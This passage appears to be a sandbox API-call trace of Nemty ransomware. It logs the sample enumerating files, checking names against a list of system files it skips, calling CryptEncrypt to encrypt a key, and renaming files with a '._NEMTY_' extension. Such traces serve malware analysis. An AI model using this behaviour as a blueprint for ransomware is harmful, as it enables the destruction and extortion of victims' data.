hHeap=0x4f90000) returned 1 [0073.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0073.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.900] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.900] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.998] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.998] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.998] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.011] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.011] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0074.011] CloseHandle (hObject=0xffffffff) returned 0 [0074.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0074.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0074.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0074.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0074.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.011] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv._nemty_kgobjgd_")) returned 0 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0074.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.011] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0074.011] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2=".") returned 1 [0074.011] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="..") returned 1 [0074.011] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="...") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="windows") returned -1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="$RECYCLE.BIN") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="rsa") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="NTDETECT.COM") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="ntldr") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="MSDOS.SYS") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="IO.SYS") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="boot.ini") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="boot.ini") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="AUTOEXEC.BAT") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="ntuser.dat") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="desktop.ini") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="CONFIG.SYS") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="RECYCLER") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="BOOTSECT.BAK") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="bootmgr") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="programdata") returned 1 [0074.012] lstrcmpiW (lpString1="userContent_16x9_imagemask.png", lpString2="appdata") returned 1 [0074.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userContent_16x9_imagemask.png", lpUsedDefaultChar=0x0) returned 30 [0074.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0074.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userContent_16x9_imagemask.png", lpUsedDefaultChar=0x0) returned 30 [0074.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0074.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0074.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0074.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userContent_16x9_imagemask.png", lpUsedDefaultChar=0x0) returned 30 [0074.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="userContent_16x9_imagemask.png", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="userContent_16x9_imagemask.png", lpUsedDefaultChar=0x0) returned 30 [0074.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0074.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0074.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0074.013] Sleep (dwMilliseconds=0x5) [0074.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdfc42110, dwHighDateTime=0x1d561e7)) [0074.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdfc42110, dwHighDateTime=0x1d561e7)) [0074.020] GetLastError () returned 0x5 [0074.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.020] GetLastError () returned 0x5 [0074.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0074.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0074.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.020] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.020] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0074.020] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="JbBxOyKzUCgNXzHXKC8xGSphH0b6Kbmbf9cVKGWtVjINklWQonN7b2Qn3/Xqoyti\r\naSNLaVieX7XlEG169G0pc/nRxBdiuP6I/lkMyeRdRyFR+9mzYBlVf7wbalgJ+17Y\r\nvTbI57ikd7VOMp66wsleMH4Mn0/ZfT8q7sXw0xDlXCHmSUfcPmj+Ugngls9tqI89\r\nVRf5cSdoB0fIF+63k6WRTjz9ZNaNkpeoiSFiv5fBjPv0Oash65frATB6qtAGIsYe\r\nMHRSdkihmMB9L+A1DGdvVDG7Y5M/a9/kZaRV9lnRDEXb4HWKH8jwMgfbHk4wYJse\r\n5f2SRLUsZffH5p/BrYAkVw==\r\n", pcchString=0x653e91c) returned 1 [0074.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0074.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0074.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0074.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.021] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.021] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.030] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.030] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.030] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, 